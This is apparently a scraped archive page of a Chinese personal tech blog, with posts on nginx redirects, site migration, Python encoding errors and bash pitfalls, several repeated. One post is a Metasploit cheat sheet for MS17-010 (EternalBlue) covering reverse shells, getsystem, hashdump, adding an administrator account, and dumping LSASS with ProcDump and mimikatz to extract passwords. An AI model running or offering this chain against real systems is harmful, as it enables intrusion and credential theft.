我是拿来主义的人,在google找了很久关于长截图的代码,中文博客写的代码,基本上没有可以用的,后来发现Stack Overflow上有一篇文章,找到了相关代码,很简洁,很好用。
参考链接:
1.Take screenshot of full page with Selenium Python with chromedriver
2019年1月17日星期四
2018年12月26日星期三
与产品沟通安全设计
在账户安全的问题上,绝不能因为所谓的操作流畅性就降低安全标准。尤其是对于账户安全要求很高的产品,宁可让用户多做几步验证,最大程度地确保验证的准确性。
在交互上,用户会存在操作负担与认知负担,减少认知负担的优先级理应高于减少操作负担。如果因为减少操作负担,造成了账户安全问题,极大地增加了用户的认知负担,是非常得不偿失的行为。
2018年12月6日星期四
博客搬家
通过宝塔提供的工具【计划任务】进行备份
1. 站点目录备份一遍,文件权限属性保持不变
2. 数据库备份一遍
恢复站点
1. 站点目录创建后,把备份的压缩文件解压到站点目录
2. 利用宝塔提供的数据库恢复工具
3. 去站点目录找出wp-config.php,看看数据库的配置
4. 对比,数据库名称,用户名,密码。
1. 站点目录备份一遍,文件权限属性保持不变
2. 数据库备份一遍
恢复站点
1. 站点目录创建后,把备份的压缩文件解压到站点目录
2. 利用宝塔提供的数据库恢复工具
3. 去站点目录找出wp-config.php,看看数据库的配置
4. 对比,数据库名称,用户名,密码。
2018年12月5日星期三
nginx端口重定向,主域名跳转www,配置
端口重定向 80 --> 9800
ss.abc.com --> ss.abc.com:9800
server
{
listen 80;
server_name ss.abc.com;
location / {
proxy_pass http://ss.abc.com:9800;
proxy_set_header Host $host:80;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Via "nginx";
}
}
宝塔创建一个abc.com的站点,
server
{
listen 80;
server_name abc.com;
if ($http_host ~ "^ilovegt.com$") {
rewrite ^(.*) http://www.ilovegt.com$1 permanent;
}
}
ss.abc.com --> ss.abc.com:9800
server
{
listen 80;
server_name ss.abc.com;
location / {
proxy_pass http://ss.abc.com:9800;
proxy_set_header Host $host:80;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Via "nginx";
}
}
宝塔创建一个abc.com的站点,
一级域名跳转到www二级域名
#只是一级域名“abc.com” 跳转到www.abc.com去。
listen 80;
server_name abc.com;
if ($http_host ~ "^ilovegt.com$") {
rewrite ^(.*) http://www.ilovegt.com$1 permanent;
}
}
2018年11月8日星期四
针对MS17-010漏洞攻击之Metasploit
0x01 hash密码导出,并且破解方法
If LM hashes are enabled on your system (Win XP and lower), a hash dump will look like:
Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::
If LM hashes are disabled on your system (Win Vista, 7, 8+), a hash dump will look like:
Administrator:500:NO PASSWORD*********************:0CB6948805F797BF2A82807973B89537:::
每个字段的含义: 用户名:唯一安全ID:LM_HASH :NTLM_HASH
这串值就是LM_HASH,通过google “lm hash crack” 尝试破解
01FC5A6BE7BC6929AAD3B435B51404EE
0x02 Meterpreter 命令行工具
通过google搜索 “Metasploit工具Meterpreter的命令速查表”对反弹shell进行利用
其中比较常用的命令:
getuid 查看当前用户
getsystem 获取系统权限
shell 打开shell或者cmd
run hashdump 把sam数据库dump
0x03 常用payloaduse windows/meterpreter/reverse_tcpuse auxiliary/scanner/smb/pipe_auditorms17-010 payload:use exploit/windows/smb/ms17_010_eternalblueuse exploit/windows/smb/ms17_010_psexec0x04 ms17-010漏洞利用使用metasploit(MSF)对windows的ms17-010漏洞进行利用的过程MSF下ms17_010_psexec模块使用技巧Meterpreter提权详解
0x05 windows修改用户密码技巧因为中文的windwos系统,在Meterpreter 会显示乱码,在进行net user操作出现报错比如 NET HELPMSG 2245 表示密码长度不够规格,不够复杂比如 NET HELPMSG 3783 表示没有这个组或者用户net user administrator abc123 //修改administrator的密码net user test v5est0r /add //增加新用户 net localgroup administrators test /add //并且加入管理员组
0x06 获取system权限,对管理员密码获取利用Meterpreter upload 上传 ProcDump 对系统的LSASS进程内存文件导出,命令如下Procdump.exe -accepteula -ma lsass.exe lsass.dmp导出后,利用Meterpreter download 将 lsass.dmp 文件下载到本地最后运行mimikatz,进行破解mimikatz # sekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonPasswords fullMeterpreter 加载mimikatz直接进行破解load mimikatz
help mimikatz
mimikatz_command -f privilege::debug mimikatz_command -f privilege::security mimikatz_command -f sekurlsa::logonPasswords
2018年10月24日星期三
编码,乱码,如何透彻理解
编码。
在python里面,你定义一个字符串的时候,就已经通过编码器,对你输入的字符串进行编码,并且放入内存。
规则1:放入内存里面的字符串,一定经过编码
当使用print 对字符串变量进行打印,必须要对字符串进行解码才能显示。注意这里只是显示,要显示正确,必须用对应的字符集(gbk, gb2312, utf-8, ascii)。如果显示错误(仅是人类感知,计算机不知道情况),就是乱码。
规则2:控制台标准输出,浏览器显示区,notepad文字区等,都是需要进行解码后才可以显示的
举例:
在写自动发送邮件过程,包含多次编码解码动作
1. 生成html文件,在python3可以指定编码。
2. 读取的时候,在python2.7需要进行指定解码字符集,
3. 经过bottle模块,模板处理的时候也需要进行解码
4. smtp发送邮件,也需要进行编码
5. 最后foxmail客户端,就是我们的数据展示区,还需要对邮件内容进行解码
那么多个过程涉及编码,所以出现乱码,要冷静分析,看看数据处理的过程,分析出原因
要更深入了解乱码,首先你要能够随时制造编码错误
在python里面,你定义一个字符串的时候,就已经通过编码器,对你输入的字符串进行编码,并且放入内存。
规则1:放入内存里面的字符串,一定经过编码
当使用print 对字符串变量进行打印,必须要对字符串进行解码才能显示。注意这里只是显示,要显示正确,必须用对应的字符集(gbk, gb2312, utf-8, ascii)。如果显示错误(仅是人类感知,计算机不知道情况),就是乱码。
规则2:控制台标准输出,浏览器显示区,notepad文字区等,都是需要进行解码后才可以显示的
举例:
在写自动发送邮件过程,包含多次编码解码动作
1. 生成html文件,在python3可以指定编码。
2. 读取的时候,在python2.7需要进行指定解码字符集,
3. 经过bottle模块,模板处理的时候也需要进行解码
4. smtp发送邮件,也需要进行编码
5. 最后foxmail客户端,就是我们的数据展示区,还需要对邮件内容进行解码
那么多个过程涉及编码,所以出现乱码,要冷静分析,看看数据处理的过程,分析出原因
要更深入了解乱码,首先你要能够随时制造编码错误
UnicodeDecodeError: 'utf8' codec can't decode byte 0xb5 in position 2: invalid start byte
UnicodeDecodeError: 'ascii' codec can't decode byte 0xb5 in position 2: ordinal not in range(128)
通过下面代码,制造错误
>>> a='as的'
>>> print a
as的
>>> print a.decode('utf-8')
>>> print a.decode('ascii')
>>> print a.decode('gbk')
>>> print a.decode('gb2312')
>>> print a.decode('cp936')
-
2018年10月17日星期三
bash脚本的坑
你会写python脚本,但是不会写shell脚本,其实只要注意几步,就可以像写python那样简单
0x01 bash脚本第一坑
变量赋值竟然不支持空格。
0x02 变量调用需要加$
0x03 bash脚本第二坑
数组会自动对字符串变量进行分割,这个特性很不好,特别对字符串处理的时候,
这个特性不应该作为自动分割,如果需要使用分割功能, 加上特别的参数,这样设计更合理
curl -i -H "Content-Type: application/json" -X POST http://127.0.0.1/api/add
只输出http body的json数据
curl -s -H "Content-Type: application/json" -X POST http://127.0.0.1/api/add
参考链接:
1. BASH 数组用法小结
0x01 bash脚本第一坑
变量赋值竟然不支持空格。
a = "my name" ✘ 这样是不能赋值成功的,并且提示“-bash: a: command not found” a="name" ✔ array[0] = "hello" ✘ array[0]="hello" ✔
0x02 变量调用需要加$
echo $a array[0]=$a
0x03 bash脚本第二坑
数组会自动对字符串变量进行分割,这个特性很不好,特别对字符串处理的时候,
这个特性不应该作为自动分割,如果需要使用分割功能, 加上特别的参数,这样设计更合理
output="i am a boy" 这个变量赋值给array的时候会进行分割 array=($output) 最后,变成: array[0]="i" array[1]="am" array[2]="a" array[3]="boy" 要使"i am a boy"存入array后保持完整,可以用下面的方法: array[0]=$output array=([0]=$output)
0x04 jq调试工具
--raw-input/ -R:
不要将输入解析为JSON。相反,每行文本都作为字符串传递给过滤器。如果与之结合使用
--slurp,则整个输入将作为单个长字符串传递给过滤器。--raw-output/ -r: 解析后的字符串去引号
使用此选项,如果过滤器的结果是字符串,则它将直接写入标准输出,而不是格式化为带引号的JSON字符串。这对于使jq过滤器与非基于JSON的系统进行通信非常有用。
0x05 curl只输出json数据这样会输出http头部信息
curl -i -H "Content-Type: application/json" -X POST http://127.0.0.1/api/add
只输出http body的json数据
curl -s -H "Content-Type: application/json" -X POST http://127.0.0.1/api/add
参考链接:
1. BASH 数组用法小结
订阅:
博文 (Atom)
